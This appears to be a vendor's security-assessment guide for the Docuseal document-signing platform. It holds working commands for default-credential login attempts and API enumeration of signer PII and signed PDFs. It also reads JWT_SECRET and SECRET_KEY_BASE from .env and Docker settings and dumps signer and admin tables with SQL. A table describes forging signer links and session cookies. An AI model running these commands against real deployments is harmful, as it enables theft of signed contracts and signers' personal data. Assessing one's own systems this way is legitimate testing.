Docuseal Security Testing: Default Credentials, API Key, Database, and .env JWT_SECRET

Docuseal is a widely deployed open-source document signing platform (DocuSign/HelloSign alternative) used to collect legally binding signatures on contracts, NDAs, and agreements — it stores all signed documents plus signer personally identifiable information (PII) including names, email addresses, phone numbers, and IP addresses. Key assessment areas: JWT_SECRET signs authentication tokens; the API provides complete access to all templates, submissions, and signed documents; the submitters database table contains PII for every signer; signed PDF documents are stored in S3/MinIO/local storage; and signer completion links embedded in invitation emails may bypass authentication. Compromise of Docuseal exposes legally sensitive signed contracts and constitutes a GDPR data breach risk. This guide covers systematic Docuseal security assessment.

Table of Contents

  1. Authentication and API Token Testing
  2. API Submission, Signer PII, and Document Enumeration
  3. JWT_SECRET and Database Extraction
  4. Docuseal Security Hardening

Authentication and API Token Testing

# Docuseal — authentication and API token testing
DOCUSEAL_URL="https://docuseal.example.com"

# Docuseal login — test common credentials
for CRED in "admin@example.com:password" "admin@docuseal.com:password" "admin@example.com:admin" "admin@example.com:docuseal"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${DOCUSEAL_URL}/users/sign_in" \
    -H "Content-Type: application/json" \
    -H "Accept: application/json" \
    -d "{\"user\":{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}}" 2>/dev/null)
  TOKEN=$(echo "$AUTH" | python3 -c "
import json,sys
d=json.load(sys.stdin)
t=d.get('token','')
print('OK token='+t[:30] if t else 'FAIL: '+str(list(d.keys())))
" 2>/dev/null)
  echo "${EMAIL}/${PASS}: ${TOKEN}"
done

# Test API token access
API_KEY="your-docuseal-api-key"
curl -s "${DOCUSEAL_URL}/api/templates" \
  -H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
    print(f'Templates: {len(d)}')
    for t in d[:5]:
        print(f'  [{t.get(\"id\")}] {t.get(\"name\")} submissions={t.get(\"submissions_count\")}')
elif 'Unauthorized' in str(d):
    print('API auth required')
else:
    print(str(d)[:100])
" 2>/dev/null

# Test signer completion link — Docuseal generates unique per-signer links
# These links authenticate the signer via JWT token in the URL (no password required)
# Format: /s/{slug} where slug = JWT token signed with JWT_SECRET
# If JWT_SECRET is compromised, forge signer completion links for any submission

API Submission, Signer PII, and Document Enumeration

# Docuseal API — submission, signer PII, and document enumeration
DOCUSEAL_URL="https://docuseal.example.com"
API_KEY="your-docuseal-api-key"

# List all submissions with signer metadata
curl -s "${DOCUSEAL_URL}/api/submissions?limit=100" \
  -H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
submissions = d.get('data',[]) if isinstance(d,dict) else d
total = d.get('pagination',{}).get('count',len(submissions)) if isinstance(d,dict) else len(submissions)
print(f'Submissions: {total} total, showing {len(submissions)}')
for s in submissions[:10]:
    status = s.get('status','')
    name = s.get('name','')
    created = s.get('created_at','')
    submitters = s.get('submitters',[])
    print(f'  [{s.get(\"id\")}] {name} status={status} signers={len(submitters)} created={created[:10]}')
    for sub in submitters[:3]:
        # PII: name, email, phone, ip, completed_at
        print(f'    signer: {sub.get(\"name\",\"\")} {sub.get(\"email\",\"\")} ip={sub.get(\"ip\",\"\")} status={sub.get(\"status\")}')
" 2>/dev/null

# Get specific submission with full signer PII
SUBMISSION_ID="123"
curl -s "${DOCUSEAL_URL}/api/submissions/${SUBMISSION_ID}" \
  -H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Submission: {d.get(\"name\")} status={d.get(\"status\")}')
for sub in d.get('submitters',[]):
    print(f'  Signer: name={sub.get(\"name\")} email={sub.get(\"email\")} phone={sub.get(\"phone\")}')
    print(f'    IP: {sub.get(\"ip\")} UA: {sub.get(\"ua\",\"\")[:60]}')
    print(f'    Signed at: {sub.get(\"completed_at\")} opened: {sub.get(\"opened_at\")}')
    # values: all form field responses (signature, date, name, checkbox, etc.)
    for val in sub.get('values',[])[:3]:
        print(f'    field {val.get(\"field\",{}).get(\"name\",\"\")}: {str(val.get(\"value\",\"\"))[:50]}')
" 2>/dev/null

# Download completed signed document PDF
curl -s "${DOCUSEAL_URL}/api/submissions/${SUBMISSION_ID}/documents" \
  -H "X-Auth-Token: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
docs = d if isinstance(d,list) else []
for doc in docs[:5]:
    print(f'  Doc: {doc.get(\"filename\")} url={doc.get(\"url\",\"\")[:80]}')
" 2>/dev/null

JWT_SECRET and Database Extraction

# Docuseal JWT_SECRET and database credential extraction

# .env file — Docuseal configuration
cat /app/.env 2>/dev/null | grep -E "JWT_SECRET|DATABASE_URL|SECRET_KEY_BASE|MINIO|S3|SMTP|REDIS"
# JWT_SECRET — signs signer completion JWT tokens (in invitation email links)
# SECRET_KEY_BASE — Rails/Devise session signing
# DATABASE_URL — PostgreSQL or SQLite connection string

# Docker environment variables
docker inspect docuseal 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['JWT_SECRET','SECRET_KEY','DATABASE','MINIO','S3','SMTP','PASSWORD']):
            print(e)
" 2>/dev/null

# PostgreSQL — all signer and submission data
DB_URL="postgresql://docuseal:PASSWORD@localhost/docuseal"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All submitters (signers) with full PII
SELECT s.id, s.email, s.name, s.phone, s.ip,
       s.ua, s.status, s.opened_at, s.completed_at,
       sub.name as submission_name
FROM submitters s
JOIN submissions sub ON s.submission_id = sub.id
ORDER BY s.created_at DESC
LIMIT 30;
EOF

# All form field values for each signer
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT sv.id, sv.value, sv.created_at,
       s.email as signer_email,
       f.name as field_name, f.type as field_type,
       sub.name as submission_name
FROM submission_values sv
JOIN submitters s ON sv.submitter_id = s.id
JOIN fields f ON sv.field_id = f.id
JOIN submissions sub ON s.submission_id = sub.id
ORDER BY sv.created_at DESC
LIMIT 30;
EOF
-- field_type: text, signature, initials, date, checkbox, radio, select, image, number

# Users (admin accounts)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT id, email, first_name, last_name, role,
       locked_at, failed_attempts, created_at
FROM users
ORDER BY created_at DESC
LIMIT 10;
EOF

Docuseal Security Hardening

Docuseal Security Hardening Checklist:
Security TestMethodRisk
JWT_SECRET extraction and signer completion link forgeryRead .env JWT_SECRET — forge valid signer JWT tokens; bypass signer email requirement; complete any document signing as any invited signer without email accessCritical
API key access to all signer PII and signed documentsGET /api/submissions — all submissions with signer names, emails, phone numbers, IPs; GET /api/submissions/{id}/documents — signed PDF download; full GDPR-regulated data breachHigh
PostgreSQL submitters table PII extractionSELECT from submitters — all signer PII including name, email, phone, IP, user agent, signing timestamps; full legal record of all signing eventsCritical
submission_values field extractionSELECT from submission_values — all form field responses including signature images, typed names, dates, checkboxes; complete record of what each signer agreed to and enteredHigh
SECRET_KEY_BASE Rails session forgeryRead .env SECRET_KEY_BASE — forge valid Rails session cookies; authenticate as any admin user without knowing credentialsCritical

Automate Docuseal Security Testing

Ironimo tests Docuseal deployments for JWT_SECRET extraction and signer link forgery, SECRET_KEY_BASE Rails session cookie forgery, API submission and signer PII enumeration, signed document PDF unauthorized access, PostgreSQL submitters table complete PII extraction, submission_values legal record extraction, admin credential brute force testing, signer completion link token analysis, S3/MinIO document storage access testing, and Docker environment variable JWT_SECRET/SECRET_KEY_BASE exposure.

Start free scan